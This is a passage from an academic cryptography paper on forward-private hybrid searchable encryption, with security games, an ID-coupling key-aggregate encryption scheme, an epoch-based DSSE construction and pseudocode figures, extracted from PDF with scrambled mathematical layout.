proof, simulation of different oracles crucially depends on the

corresponding leakages. They thus precisely capture what are

the leakages when an HSE scheme is used in practice.

Consider the system timeline as a set of timestamps. We

divide it into sequential fragments, each assigned with an

epoch sequence number e. We say an HSE operation happens

at epoch e if the timestamp when it is executed belongs to e.

All algorithms implicitly take e as an input.

To model the effects of temporal variation in HSE on se-

curity, we introduce EpochO, which monotonically increases

the global epoch e whenever invoked. It enables the adversary

to decide how its historical operations are arranged at epochs.

We update our HSE security game with EpochO as Fig-

ure 1. CorrO, SrchO, and UpdtO are mostly unchanged, ex-

cept that the epoch information is attached when extending the

3For the u-th operation, a subtlety is that HSE evaluates the leakage before

including it into H , while DSSE considers it being put into O immediately.

USENIX Association 31st USENIX Security Symposium    2375



INDb
HSE,A ,L(1

λ
)

(n,stA )← A(1λ
)

(pk,msk)← RSetup(1λ
,n)

∀i ∈ [n],(ki,sti,EDBi,ETkni)←WSetup(1λ
, i)

EDB := {EDBi}i∈[n],ETkn := {ETkni}i∈[n]

H0 := H1 := /0; e := 0

O = {CorrOb,SrchOb,UpdtOb, EpochO }

b′← AO
(stA ,pk,EDB,ETkn)

return b′

SrchOb({S j,w j} j∈{0,1})

if LSrch
H0

(w0,S0) = LSrch
H1

(w1,S1)

∀ j ∈ {0,1},H j := H j||(Srch,w j,S j)

return SrchTkn(msk,Sb,wb)

else return ⊥

UpdtOb({i j,op j,w j, f j} j∈{0,1})

if L
Updt

H0
(i0,op0,w0, f0) = L

Updt

H1
(i1,op1,w1, f1)

∀ j ∈ {0,1},H j := H j||(Updt, i j,op j,w j, f j)

return UpdtTkn(pk,stib , ib,kib ,opb,wb, fb)

else return ⊥

CorrOb(i0, i1)

if LCorr
H0

(i0) = LCorr
H1

(i1)

∀ j ∈ {0,1},H j := H j||(Corr, i j)

return (kib ,stib)

else return ⊥

EpochO() e := e+1

Figure 1: Security Game for HSE (Boxed Codes for Epoch-Based Notions in Sections 3.4 and 6)

history, which can be inferred from the query timestamp. Each

component Histu of history H is in the form of (Corr, i,e),

(Srch,w,S,e), or (Updt, i,op,w, f ,e), where e is the epoch to

which the query timestamp u belongs. Note that the notion of

history now implicitly defines the current epoch.

We define two auxiliary functions based on H :

• WSrch(i,e) reports the set of keywords that has been

searched over any subset containing i during epoch e.

Formally, WSrch(i,e) = {w|(Srch,w,S,e) ∈H ∧ i ∈ S};

• UpHist(i,w) reports the update history of keyword w

by i so far. Formally, UpHist(i,w) = {(u,op, f )|Histu =

(Updt, i,op,w, f ) ∈H }.

Epoch-based forward privacy requires that the server can-

not learn whether the updated file from a non-corrupted writer

i matches a keyword w that may have been searched in prior

epochs but not yet at the current one. Unlike the regular notion,

if w has been searched for over any writer subset containing i

at epoch e, i.e., w ∈WSrch(i,e), any subsequent update from i

within epoch e could still be searchable. It implies the leakage

of a bit, indicating whether the updated keyword has been

searched at the same epoch. Correspondingly, update leak-

ages can have different forms. If an epoch is infinitesimal,

epoch-based forward privacy degenerates to the regular one.

Definition 8 (Forward Privacy of HSE) An L-adaptively-

secure HSE is forward-private if the update leakage

LUpdt
(i,op,w, f ) of any update (op,w, f ) by any writer class

i ̸∈ Ic that happens at its respective epoch e can be written

as either L ′(i,op, f ) or L ′′(i,op,UpHist(i,w)
?
= /0), provided

w ̸∈WSrch(i,e), where L ′,L ′′ are stateless functions.

The update leakage includes a bit (UpHist(i,w)
?
= /0), indi-

cating whether the keyword has already been updated by the

writer, which allows for more efficient HSE instantiations.

3.5 Generic Construction

Figure 2 details our generic HSE construction (G-HSE) from

DSSE with non-stateful deterministic search tokens (e.g.,

[26]) and anonymous IBE. We refer to prior works [2, 7]

for IND-CPA/ANON security of IBE and its transformation

to PKSE. In G-HSE, the reader uses IBE.Setup() to set up n

IBE instances for n writers. Each writer independently sets

up a DSSE instance via DSSE.Setup().

For an update of keyword w, apart from creating a DSSE

update token and sending it to the server, the writer encrypts

the DSSE search token of w via IBE.Enc() using w as the

identity if w has never been updated before. To indicate it,

each writer state contains Bi as a |W |-bit list for the keyword

space W (1 for positive). The server collects these encrypted

DSSE search tokens (decryptable by keys from IBE.Ext()).

For an HSE search query of w, the reader provides decryp-

tion keys for w under IBE instances of target writers.Obtaining

DSSE search tokens by decrypting IBE ciphertexts from tar-

get writers, the server retrieves files matching w via DSSE.

G-HSE search first attempts to decrypt the encrypted token

sets then performs the DSSE search. The search time is the

sum of traversal time over the target token sets and DSSE

search time, which is typically sublinear. Both update token

size and complexity are constant. However, it is not forward

private, and its search token size grows with the target subset.

Regarding security, beyondDSSE update leakage, a G-HSE

update leaks for efficiency benefits whether the keyword

has been updated by the class. The DSSE search token

is IBE-encrypted during a G-HSE update, which leaks

nothing when IBE is IND-CPA- and IND-ANON-secure.

For search, as G-HSE is a public-key scheme, it allows

keyword-guessing attacks4. G-HSE search leakage also con-

tains DSSE search leakage. We summarize G-HSE leakage

functions: L
Stp
hse (n) = {i,L

Stp
sse,i}i∈[n], LCorr

hse (i) = {UpdtBy(i)},

LSrch
hse (w,S) = {i,LSrch

sse,i (w),w}i∈S, and L
Updt
hse (i,op,w, f ) =

{

{i,op,w, f} if i ∈ Ic,

{i,UpHist(i,w)
?
= /0,L

Updt
sse,i (op,w, f )} otherwise.

Theorem 1 Assuming that the underlying IBE is IND-CPA-

secure and IND-ANON-secure, and the underlying DSSE is

4One could use a function-private IBE scheme [9], which prevents leakage

of the ID “beyond the absolute minimum.” It requires super-logarithmic min-

entropy as in the notion of anonymous ciphertext indistinguishability [16].
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RSetup(1λ
,n)

foreach i ∈ [n]

(pki,mski)← IBE.Setup(1λ
)

pk := {pki}i∈[n]

msk := {mski}i∈[n]

return (pk,msk)

UpdtTkn(pk,sti, i,ki,op,w, f )

parse sti = (Bi, . . .)

(usse,st
′
i)

←DSSE.UpdtTkn

(sti,ki,op,w, f )

sti := st′i

if Bi[w] = 0

(ssse,st
′
i)

←DSSE.SrchTkn(sti,ki,w)

c← IBE.Enc(pki,w,ssse)

Bi[w] := 1

else c :=⊥

u= {i,c,usse}

return (u,st′i)

Updt(u= (i,c,usse),EDB,ETkn)

if c ̸=⊥ then ETkn′i := ETkni∪{c}

EDB′i←DSSE.Updt(usse,EDBi)

return (EDB′,ETkn′)

WSetup(1λ
, i)

(ki,sti,EDBi)

←DSSE.Setup(1λ
)

ETkni := /0

return (ki,sti,EDBi,ETkni)

s← SrchTkn(msk,S,w)

foreach i ∈ S

dki← IBE.Ext(mski,w)

s := {i,dki}i∈S

return s

Srch(s,S,EDB,ETkn)

parse s= {i,dki}i∈S

parse EDB= {EDBi}i∈[n]

parse ETkn= {ETkni}i∈[n]

R := /0

foreach i ∈ S

foreach c ∈ {ETkni}

ssse← IBE.Dec(dki,c)

if ssse ̸=⊥,

(R,EDB′i)

←DSSE.Srch

(ssse,EDBi)

R := R ∪R

return (R ,EDB′,ETkn)

Figure 2: G-HSE from DSSE and IBE

Lsse-adaptively-secure, G-HSE is Lhse-adaptively-secure.

We omit its proof as it is subsumed by that of FP-HSE.

4 ID-Coupling Key-Aggregate Encryption

We propose identity-coupling key-aggregate encryption

(ICKAE), which equips an exponential space of identities

to key-aggregate encryption (KAE) [18]. (IC)KAE ciphertexts

are generated with respect to a class. Decryption keys for an

arbitrarily chosen subset of classes can be aggregated, with

both ciphertexts and aggregated keys being compact.

Syntax-wise, ICKAE upgrades KAE from PKE to IBE.

Coupling ciphertexts and keys with identities enables more

fine-grained and flexible access control. Moreover, we expect

ICKAE can hide the identity from those who cannot decrypt,

which unlocks new applications concerning anonymity.

Design-wise, we start from the original KAE scheme [18]5.

Trivially extending it to ICKAE only affords a loose security

reduction with O(1) key extraction oracle queries. We resolve

5It uses symmetric pairing but can be easily ported to asymmetric pairing.

the issue via the random-bit trick of Katz and Wang [27].

Moreover, we strive to use only two pairings in decryption6.

4.1 Syntax and Security

In ICKAE, any writer can encrypt under a public key their

messages for a specified class and an identity string. The

private key holder can create an aggregated decryption key,

which can decrypt ciphertexts with respect to the identity for

any subset of classes. ICKAE solves the first downside of

G-HSE. The data owner only needs to store a single key pair

(vs. linear in the number of predefined writer classes), which

can generate a constant-size aggregated key of several classes

coupled with a specified identity. As we use identity as a

keyword in HSE, we expect ICKAE to be identity-anonymous.

Definition 9 (ID-Coupling Key-Aggregate Encryption)

An ICKAE scheme consists of the following PPT algorithms:

param← Setup(1λ
,n) takes as input a security parameter λ

and the number of classes n. It outputs the parameter param,

an implicit input for other algorithms.

(pk,msk)← KeyGen() outputs a key pair (pk,msk).

c← Enc(pk, i, id,m) takes as input a public key pk, a class i∈

[n], an identity id, and a message m. It outputs a ciphertext c.

ak← Ext(msk,S, id) inputs a master secret key msk, a set

S⊆ [n], and an identity id. It outputs an aggregated key ak.

m← Dec(ak,S, i,c) takes an aggregated key ak, a class set

S⊆ [n], and a class i ∈ [n] of a ciphertext c. It decrypts c to m.

Correctness. For any integers λ,n, any S⊆ [n], i∈ S, id, and m,

Pr[Dec(ak,S, i,c) = m : param← Setup(1λ
,n),(pk,msk)←

KeyGen(),c← Enc(pk, i, id,m),ak← Ext(msk,S, id)] = 1.

Compactness. The size of both the ciphertext and the aggre-

gated key should be independent of the number of classes.

Confidentiality and Anonymity. In the confidentiality game,

the adversary is asked to distinguish a ciphertext of one of

its chosen messages under its specified identity, while the

anonymity game challenges the adversary with the ciphertext

of its chosen message under one of two identities it specifies.

Definition 10 ICKAE is X-secure if for any PPT A ,
∣

∣

∣
Pr[X0

ICKAE,A(1
λ
) = 1]−Pr[X1

ICKAE,A(1
λ
) = 1]

∣

∣

∣
≤ negl(λ)

where the games Xb
ICKAE,A(1

λ
) are defined in Figure 3 with

X ∈ {IND-CPA, IND-ANON}.

We weaken the flexibility of key extraction oracle ExtO for

a more efficient instantiation: it allows only one adversarial

choice of subset S for each id. In our HSE application, id also

serves as an epoch, enforcing a per-epoch search scope.

6A side effect is that the aggregate (decryption) key generation is “almost”

deterministic. Roughly, introducing a random factor from Zp often leads to

one more pairing in decryption. Deterministic key generation is problematic

when there are two levels of secret, which affects the key extraction flexibility.

USENIX Association 31st USENIX Security Symposium    2377



isChallenge(S, id)

if (i∗ ∈ S)

if (id= id∗) return true

if (id ∈ {id∗0, id
∗
1}) return true

return false

IND-CPAb
ICKAE,A(1

λ
)

idSet := /0; i∗ := id∗ :=⊥

param← Setup(1λ
,n)

(pk,msk)← KeyGen()

(st,m0,m1, i
∗
, id∗)←AExtO

(pk)

c∗← Enc(pk, i∗, id∗,mb)

if (isChallenge({i∗}, id∗))

return ⊥

return b′← AExtO
(st,c∗)

ExtO(S, id)

if (id ∈ idSet) return ⊥

if (isChallenge(S, id)) return ⊥

idSet := idSet∪{id}

return ak := Ext(msk,S, id)

IND-ANONb
ICKAE,A(1

λ
)

idSet := /0; i∗ := id∗0 := id∗1 :=⊥

param← Setup(1λ
,n)

(pk,msk)← KeyGen()

(st,m, i∗, id∗0, id
∗
1)←AExtO

(pk)

c∗← Enc(pk, i∗, id∗b,m)

if (isChallenge({i∗}, id∗b))

return ⊥

return b′← AExtO
(st,c∗)

Figure 3: IND-CPA & IND-ANON Security of ICKAE

4.2 Construction

We construct an ICKAE scheme over a tuple of cyclic groups

(G1,G2,Gt) each of prime order p and equipped with pair-

ing e : G1×G2 to Gt . We use the implicit notion for group

elements [21]. Fix arbitrary generators [1]1 ∈G1 and [1]2 ∈

G2, we define [1]t := e([1]1, [1]2) as a generator of Gt . For

i ∈ {1,2, t} and x ∈ Zp, [x]i ∈Gi denotes the group element

whose discrete logarithm base [1]i is x. Group operations are

written additively, i.e., [x]i +[y]i := [x+ y]i ∈Gi. The pairing

is written multiplicatively, i.e., [x]1[y]2 := e([x]1, [y]2) = [xy]t .

Let H : {0,1}∗→G1 and G : Gt →{0,1}
λ be two crypto-

graphic hash functions. Figure 4 presents our construction. Its

correctness can be checked by noting that [u]t equals

∑
j∈S

[α
n+1− j

]1[c2]2−([k]1+ ∑
j∈S\{i}

[α
n+1+i− j

]1)[c1]2

=r ∑
j∈S

[α
n+1− j

]1([γ]2 +[α
i
]2)

−(γ ∑
j∈S

[α
n+1− j

]1 +δ[hb]1 + ∑
j∈S\{i}

[α
n+1+i− j

]1)[r]2

=− r[hb]1[δ]2 +r[αn+1
]t .

For security, Ext() should only be executed at most once for

each id with the same random choice of b. In practice, b can

be generated from a pseudorandom function taking id as an in-

put. Theorem 2 asserts the confidentiality of our ICKAE, with

its proof in Appendix A. Anonymity can be reduced to the bi-

linear Diffie-Hellman assumption (([h]1, [r]2, [δ]2, [hrδ]t)) in a

rather direct manner. For computational consistency, it largely

follows an existing one [2] for the original PKSE scheme [7].

Besides, a generic upgrade for consistency exists [2].

Theorem 2 Our ICKAE is IND-CPA-secure under the n-

BDHE assumption (e.g., [18]) in the random oracle model.

Setup(1λ
,n)

α←$ Zp

I := i ∈ [2n]\{n+1}

return (

{

[α
i
]1

}

I
,

{

[α
i
]2

}

I
,

[α
n+1

]t)

KeyGen()

γ,δ←$ Zp

msk := (γ,δ)

pk := ([γ]2, [δ]2)

return (pk,msk)

Ext(msk,S, id)

b←$ {0,1}; [hb]1 := H(id,b)

[k]1 := γ ∑
j∈S

[α
n+1− j

]1 +δ[hb]1

return ak := ([k]1,b)

Enc(pk, i, id,m)

r←$ Zp; [c1]2 := [r]2

[c2]2 := r([γ]2 +[α
i
]2)

[h0]1 := H(id,0); [h1]1 := H(id,1)

c3,0 := m⊕G(r[αn+1
]t − r[h0]1[δ]2)

c3,1 := m⊕G(r[αn+1
]t − r[h1]1[δ]2)

return c := ([c1]2, [c2]2,c3,0,c3,1)

Dec(ak,S, i,c)

parse ak=([k]1,b), c = ([c1]2, [c2]2,c3,0,c3,1)

[u]t := ∑
j∈S

[α
n+1− j

]1[c2]2− ([k]1 + ∑
j∈S\{i}

[α
n+1+i− j

]1)[c1]2

return c3,b⊕G([u]t)

Figure 4: Construction of ICKAE

5 Epoch-Based Forward-Private DSSE

Recall that DSSE clients usually realize forward privacy by

keeping a state per keyword and determining the address of

the next update based on its state [10, 29]. Only until the next

search on the keyword is issued will its state be revealed and

then refreshed. A refreshed new state results in new addresses

of its subsequent updates, thus achieving forward privacy.

As HSE expects no synchronous communication, the reader

and any writer cannot share whether a state has been revealed

(by the reader) and should be refreshed (by writers). To re-

solve this hurdle, we instead use the epoch derived from the

system time as a constantly refreshing “state.” Our epoch-

based DSSE scheme E-DSSE enables a search token (for the

current epoch) to (determine addresses of and) retrieve tuples

updated/to-be-updated at the current epoch and all updates at

prior epochs. This is realized by maintaining (implicit) links

for updates inter- and intra-epochs. As usual, a search token

has no link to any updates after its epoch.

Such a property follows the spirit of DSSE forward privacy.

Its reliance on a loosely synchronized global clock makes the

resulting DSSE schemes applicable to the HSE setting.

5.1 Definition

To formally define epoch-based forward privacy of DSSE, we

introduce EpochO for the adversary to advance the epoch

(as in Section 3.4) and record the epoch information in the

DSSE operation sequence O: either ((u,e),w) for a search on

keyword w or ((u,e),op,w, f ) for an update with (op,w, f ),
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where u is the timestamp of an operation and e is the epoch to

which u belongs. The search patterns sp and update history

UpHist (Section 2) also record the epoch information. More-

over, UpHist
<e(w) and UpHiste(w) denote all updates of key-

word w before and at epoch e, respectively.

We further define the set of keywords being searched during

epoch e by WSrch(e) = {w|((u,e),w) ∈O}.

Epoch-based forward privacy confines the update leakage

according to recent searches. If no search has been issued for

the keyword to be updated at the same epoch, the update leak-

age stays the same as regular forward privacy (Definition 3).

Definition 11 (Epoch-Based Forward Privacy of DSSE)

An L-adaptively-secure DSSE scheme is epoch-based

forward-private if for any update (op,w, f ) at epoch e with

w ̸∈WSrch(e), the update leakage function LUpdt
(op,w, f ) is

in the form of L ′(op, f ) or L ′′(op,UpHist
<u(w)

?
= /0), where

L ′,L ′′ are stateless functions.

DSSE schemes satisfying Definition 3 are, by definition,

epoch-based forward-private, but not vice versa. However, the

new concept inspires epoch-based applications and potentially

provides richer functionalities than existing schemes. Leakage

of UpHist
<u(w)

?
= /0 is motivated by efficiency concerns.

For our FP-HSE usage, DSSE tokens with the temporal

search ability will be encrypted to the server. It deviates from

the DSSE security model, where the server will immediately

see and execute the search token. To capture this, we let the

operation sequence O record ((u,e),“Tkn”,w) for the search

token generation on w. We use LSrchTkn
(w) to denote the

leakage caused by issued yet unused search tokens and sepa-

rate it from the search leakage LSrch
(w). In the DSSE context,

such search-token leakage captures the token delegations to

readers who may reveal the token to the server at different

times when the actual search should be executed.

5.2 Construction

We propose E-DSSE, the first DSSE scheme with a tunable

tradeoff between forward privacy and flexibility of temporal

delegations. A search token retrieves all results updated since

the initialization (“inter-epoch” updates) and to be updated

at the current epoch (“intra-epoch” updates), but not at future

epochs. As a typical design, E-DSSE implicitly links update

tuples for each keyword of the same epoch via pseudorandom

addresses derived using the same secret but different counters.

To travel to the most recent epoch where an update of w

happened (and avoid traversal over each “missing” epoch),

UpdtTkn() keeps it as local state Tep[w]. SrchTkn() always

outputs both the search token se for the current epoch e and an

inter-epoch token sTep[w], which frees SrchTkn() from local

state update. To keep Srch() mostly a single traversal loop for

optimality and compatibility with token-based DSSE, sTep[w]

is stored along with a dummy update of the current epoch (if

Setup(1λ
)

k←$ {0,1}λ

Tct,Tep,EDB← empty map

st := (Tct,Tep)

return (k,st,EDB)

SrchTkn(st,k,w)

get current epoch e

parse st= (Tct,Tep)

se := F(k,w||e)

addr := val :=⊥

if (Tep[w] ̸= e)∧ (Tep[w] ̸=⊥)

x := F(k,w||Tep[w])

y := 0|op|| f |

addr := H1(se||1)

val := (y||x)⊕H2(se||1)

s := (se,addr,val)

return (s,st)

UpdtTkn(st,k,op,w, f )

get current epoch e

parse st= (Tct,Tep)

if (Tct[w] =⊥)∨ (Tep[w] ̸= e)

Tct[w] := 0

x := 0λ;Tct[w] := Tct[w]+1

if (Tct[w] = 1)∧ (Tep[w] ̸=⊥)

x := F(k,w||Tep[w])

Tep[w] := e

K := F(k,w||e)||Tct[w]

addr := H1(K)

val := (op|| f ||x)⊕H2(K)

u := (addr,val)

return (u,st′ := (Tct,Tep))

Updt((addr,val),EDB)

EDB[addr] := val

return EDB′ := EDB

Srch(s,EDB)

parse s= (se,addr,val);R := /0

if (((addr,val) ̸= (⊥,⊥))∧ (EDB[addr] =⊥)) EDB[addr] := val

while se ̸= 0λ

ct := 1; addr := H1(se||ct); s
′
e := 0λ

while EDB[addr] ̸=⊥

op|| f ||x := EDB[addr]⊕H2(se||ct)

if ct= 1 then s
′
e := x

if op= add then R := R∪{ f} else R := R\{ f}

ct := ct+1; addr := H1(se||ct)

se := s
′
e

return R

Figure 5: E-DSSE: Epoch-Based Forward-Private DSSE

no update exists) and picked up when the first update of each

epoch (if it exists) is retrieved. UpdtTkn() will replace such

a dummy with the actual first update while keeping sTep[w].

Even two searches at different epochs (say e′ and e′+1) may

implant the same sTep[w], the earlier one (e′ in our example)

will not be traversed as there was no actual update (which is

why a search at epoch e′+1 implanted sTep[w] but not se′ ).

Figure 5 details our E-DSSE scheme, where H1 and H2 are

cryptographic hash functions, and F is a pseudorandom func-

tion family (PRF) with λ-bit outputs. We assume retrieving

an empty entry from a map (e.g., Tct or Tep) returns ⊥.

Setup. Let k be a λ-bit key for F . Tep and Tct are initially

empty maps. Tep[w] stores the epoch when the last update of

w happens, and Tct[w] stores the update counter of w at epoch

Tep[w]. An initially empty map for EDB is outsourced.

Search. The client computes search token se for keyword w
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and current epoch e as F(k,w||e). If w has not been updated

at epoch e (Tep[w] ̸= e) but updated during previous epochs

(Tep[w] ̸=⊥), the client puts a “dummy update” with an “old”

search token x := F(k,w||Tep[w]) in val. We place val at addr

derived using se||1 as the 1st slot in the list for w at epoch e.

If Srch() gets a “dummy update” ((addr,val) ̸= (⊥,⊥)),

but no actual update has happened yet (EDB[addr] =⊥), the

servers sets EDB[addr] := val. This is to ensure that no ac-

tual update would be accidentally overwritten. The server

decrypts each tuple at H1(se||ct) of EDB by H2(se||ct) with

ct increasing from 1 until no data can be found with se.

For the first update at each epoch (ct= 1), the decrypted x is

a search token s
′
e for prior updates on w. The server will set se

as s′e and repeat the search to get back all “historical” updates,

provided the token is valid (se ̸= 0λ). The retrieved files are

inserted into or removed from the result set R according to

their operations. Eventually, the server returns R to the client.

Update. To update (op,w, f ) at current epoch e, if keyword w

has never been updated (Tct[w] =⊥) or not been updated at e

(Tep[w] ̸= e), it sets Tct[w] := 0. Tct[w] is then incremented.

If this is the first update on w at e (Tct[w] = 1) and there

exist prior (actual) updates on w at epoch Tep[w] ̸= ⊥, the

client puts prior search token F(k,w||Tep[w]) in x. It happens

even when x has been implanted in a “dummy update” during

search at e. Otherwise, x := 0λ. Tep[w] is then set to e.

The client then stores x along with the update tuple. With

F(k,w||e)||Tct[w] as K, the update token u is (addr,val),

where addr is a pseudorandom location derived from K, and

val is encrypting (op|| f ||x) under a key derived from K. The

update token instructs the server to update EDB[addr] := val.

Analysis. The size of both search and update tokens is O(1).

The update complexity is O(1). The search complexity is

linear in the total number of updates regarding the searched

keyword, which is deemed asymptotically optimal [10,19,26].

For search, the server learns the search pattern and the

update history of the keyword. Such search leakage LSrch
(w)

is necessary and common for efficient DSSE schemes [10,29].

For a search token, se from PRF is pseudorandom. Whether

to provide (addr,val) from H1 and H2 depends on whether

the keyword of the token was updated at prior epochs but not

the current one. Formally, for a search token of w at epoch e,

LSrchTkn
(w) = (¬(UpHist

<e(w)
?
= /0))∧ (UpHiste(w)

?
= /0).

The leakage is subsumed by the entire UpHist(w). The token

leaks nothing else before being revealed to the server and

executed over the encrypted database, causing LSrch
(w).

The search token for epoch e can search over data encrypted

from the system initialization to e due to the preparation of

prior search tokens. Namely, those tuples updated at e, due to

the functionality of the temporal search, can be retrieved by

the holder of the search token at the same epoch. However,

any update after e remains private until the subsequent search

as the server has no knowledge of the PRF secret key, i.e.,

E-DSSE provides epoch-based forward privacy.

The security proof of E-DSSE can be found in Appendix B.

Theorem 3 Assuming F is a pseudorandom function family,

E-DSSE is L-adaptively-secure with epoch-based forward

privacy, where LStp
= /0, LSrch

(w) = (sp(w),UpHist(w)),

LSrchTkn
(w) = (¬(UpHist

<e(w)
?
= /0))∧ (UpHiste(w)

?
= /0),

LUpdt
(op,w, f ) =

{

/0 if w ̸∈WSrch(e)

LSrch
(w) otherwise

, and e is the

epoch when the update happens, in the random oracle model.

6 Forward-Private HSE with O(1)-Size Tokens

With more versatile tools (E-DSSE and ICKAE), we build our

forward-private hybrid searchable encryption (FP-HSE) with

O(1)-size search tokens. We also advocate a new rebuild step

for better performance and security at a small writer cost.

The constant size of search tokens is naturally inherited

from our ICKAE, as the ICKAE secret key size is independent

of the number of classes. Our FP-HSE does not need to run

multiple copies of IBE or expensive pairing operations for

each traversal step [39]. We set the reader free from the re-

dundant key management of DSSE instances (whose number

could be as many as that of the classes). With ICKAE, the

reader is free from multiple calls of IBE.Ext() for searching.

FP-HSE assumes a loosely synchronized clock that pro-

vides the current epoch number. To retain the epoch-based

forward privacy of E-DSSE while avoiding decrypting ever-

growing ICKAE ciphertexts, we borrow ideas from a recent

work [3] (that aims for breach resistance) to devise our rebuild

algorithm, on top of our basic HSE syntax (Definition 4):

(ETkni,st
′
i)← Rebuild(sti, i,ki) executed by the writer takes

as input a class i ∈ [n] with its state sti and secret key ki.

It outputs an encrypted token set ETkni to be stored in the

server and a new state st′i to be stored locally.

Rebuild() requires writers to update their encrypted search

tokens stored in the server at the start of a new epoch. It incurs

no additional leakage as the tokens remain encrypted. The

cost for our Rebuild() is quite reasonable for writers as it only

depends on the number of the keywords they allow the reader

to search. In contrast, previous Rebuild() [3] reconstructs the

entire database, including encrypted indices and data (not for

multiple writers but breach resistance).

6.1 Construction from E-DSSE and ICKAE

Figure 6 details our FP-HSE construction.

Setup. RSetup() of the reader runs ICKAE.Setup() and out-

puts a public/secret key pair (pk,msk) via ICKAE.KeyGen().

Each writer i individually executes WSetup() that calls

E-DSSE.Setup(). Beyond an encrypted database EDBi, an

encrypted token set ETkni is set up. EDBi and ETkni are

initially empty. Same as G-HSE, the writer state contains a
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RSetup(1λ
,n)

param← ICKAE.Setup(1λ
,n)

return (pk,msk)← ICKAE.KeyGen()

WSetup(1λ
, i)

(ki,sti,EDBi)← E-DSSE.Setup(1λ
)

return (ki,sti,EDBi,ETkni := /0)

Rebuild(sti, i,ki)

get current epoch e; parse sti = (Bi, . . .)

ETkni := /0

foreach w s.t. Bi[w] = 1

(ssse,st
′
i)← E-DSSE.SrchTkn(sti,ki,w)

c← ICKAE.Enc(pk, i,w||e,ssse)

ETkni := ETkni∪{c}

return (ETkni,st
′
i)

UpdtTkn(pk,sti, i,ki,op,w, f )

get current epoch e; parse sti = (Bi, . . .)

(usse,st
′
i)← E-DSSE.UpdtTkn(sti,ki,op,w, f )

if Bi[w] = 0

(ssse,st
′′
i )← E-DSSE.SrchTkn(st′i,ki,w)

c← ICKAE.Enc(pk, i,w||e,ssse)

Bi[w] := 1

else c :=⊥

u := (i,c,usse)

return (u,st′′i )

Updt(u,EDB,ETkn)

parse u= (i,c,usse)

if c ̸=⊥ then ETkn′i := ETkni∪{c}

EDB′i← E-DSSE.Updt(usse,EDBi)

return (EDB′,ETkn′)

SrchTkn(msk,S,w)

get current epoch e

return s← ICKAE.Ext(msk,S,w||e)

Srch(s,S,EDB,ETkn)

parse EDB= {EDBi}i∈[n]

parse ETkn= {ETkni}i∈[n]

R := /0

foreach i ∈ S

foreach c ∈ {ETkni}

ssse← ICKAE.Dec(s,S, i,c)

if ssse ̸=⊥

(R,EDB′i)

← E-DSSE.Srch(ssse,EDBi)

R := R ∪R

return (R ,EDB′,ETkn)

Figure 6: FP-HSE: Forward-Private Hybrid Searchable Encryption from E-DSSE and ICKAE

|W |-bit list7 Bi for keyword space W to indicate whether a

keyword has ever been updated by writer i. Bi can be inferred

from the E-DSSE state, denoted by sti = (Bi, . . .) in Figure 6.

The server integrates EDBi and ETkni from each writer i.

Search. At the current epoch e, to retrieve files from writers

in set S containing keyword w, the reader extracts the HSE

search token s as an aggregated key derived from a single run

of ICKAE.Ext() taking S as the target set and w||e as ID. Due

to our ICKAE scheme, for each keyword w, only one search

token can be delegated in a given epoch e.

The server uses s to decrypt {ETkni}i∈S and parses the

successfully decrypted result as E-DSSE search token ssse.

With ssse, the server executes E-DSSE.Srch() over the corre-

sponding EDBi and inserts the result to R . At the end, R is

returned to the reader as the search result of w.

Update. To update (w, f ), it first generates an E-DSSE update

token usse for current epoch e. If Bi[w] = 0, the search token

of w has not been generated; writer i generates an E-DSSE

search token ssse for w, ICKAE-encrypts it as c under class i

and ID w||e, and sets Bi[w] to 1. The HSE update token u,

containing c and usse, is sent to the server. The server stores c

into ETkni and runs E-DSSE.Updt() over EDBi with usse.

Rebuild. At a new epoch, writer i initializes an empty ETkni.

For every active keyword indicated by Bi, its E-DSSE search

token is generated and encrypted by ICKAE with respect to

class i, keyword w, and the current epoch e. The ICKAE ci-

phertexts are inserted into ETkni and then sent to the server.

The server replaces the out-of-date encrypted token set of i.

Selective Rebuild. Not only can the reader confine the writer

subset to search for, but also the writer can choose to confine

the data that the reader can access at certain epochs, say,

7This bit list is much smaller than, say, keeping copies in the “Sent” folder.

excluding draft data to be finalized at later epochs. This can

be done by preparing encrypted E-DSSE search tokens only

for those keywords that allow to be accessed at the next epoch

during the rebuild, and skipping any generation of E-DSSE

search tokens (and thus ICKAE encryption) during the update.

6.2 Analysis

Efficiency. An FP-HSE search traverses the target token sets,

which is linear in the number of active keywords encrypted

by the target classes, before executing an E-DSSE search,

which is linear in the number of updates on the keyword.

Thanks to the compactness of an ICKAE decryption key, the

search token is constant-size, independent of the number of

classes to be searched. For update, the token size and the time

complexity are both constant. FP-HSE thus realizes sublinear

(in the database size) search and update efficiency.

No interaction between the reader and any writer is ever

needed. The reader only manages a single key pair.

Security. The setup only leaks the class identifiers {i}i∈[n].

For a corrupted writer (i.e., i ∈ Ic), the update tuple

is revealed. For any update from non-corrupted writers,

HSE.UpdtTkn() runs E-DSSE.UpdtTkn(), which generates

an E-DSSE update token. Due to the epoch-based forward pri-

vacy of E-DSSE, the whole E-DSSE update process reveals

nothing if the keyword has not been searched during the epoch.

While HSE.UpdtTkn() might execute E-DSSE.SrchTkn(),

by our FP-HSE construction, E-DSSE.SrchTkn() is always

executed after E-DSSE.UpdtTkn() at the same epoch. It

means that the E-DSSE search token implants no dummy up-

dates, so it incurs no extra leakage. The usage of the bit list B

leaks whether the keyword has been updated by a class (i.e.,

UpHist(i,w)
?
= /0), which is unrelated to any prior searches.
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FP-HSE thus retains the epoch-based forward privacy8.

If an FP-HSE search on w has been issued over a subset S at

epoch e, we consider w∈WSrch(e) in E-DSSE for any updates

on w at e from any i∈ S. As G-HSE, the FP-HSE search over S

leaks the E-DSSE search leakage (from target search tokens)

and the searched keyword (from ICKAE decryption key).

The rebuild leaks nothing more than prior updates since 1)

E-DSSE search tokens are all generated when there exist prior

updates (UpHist
<e(w) ̸= /0 in E-DSSE) and no update has

happened at the new epoch (UpHiste(w) = /0), covering the

E-DSSE search-token-generation leakage; 2) the refreshed to-

ken set is ICKAE-encrypted; and 3) prior updates have already

revealed the set of active keywords of a writer.

If writer i is corrupted, the (inevitable) leakage contains the

historical updates of i (i.e., UpdtBy(i)). Theorem 4 formally

asserts the security of FP-HSE with the proof in Appendix C.

Theorem 4 FP-HSE is Lhse-adaptively-secure and forward

private if ICKAE is IND-CPA- and IND-ANON-secure, and

E-DSSE is Lsse-adaptively-secure with epoch-based forward

privacy, where L
Stp
hse (n) = {i}i∈[n], LCorr

hse (i) = {UpdtBy(i)},

LSrch
hse (w,S) = {i,LSrch

sse,i (w),w}i∈S, and L
Updt
hse (i,op,w, f ) =

{

{i,op,w, f} if i ∈ Ic,

{i,UpHist(i,w)
?
= /0,L

Updt
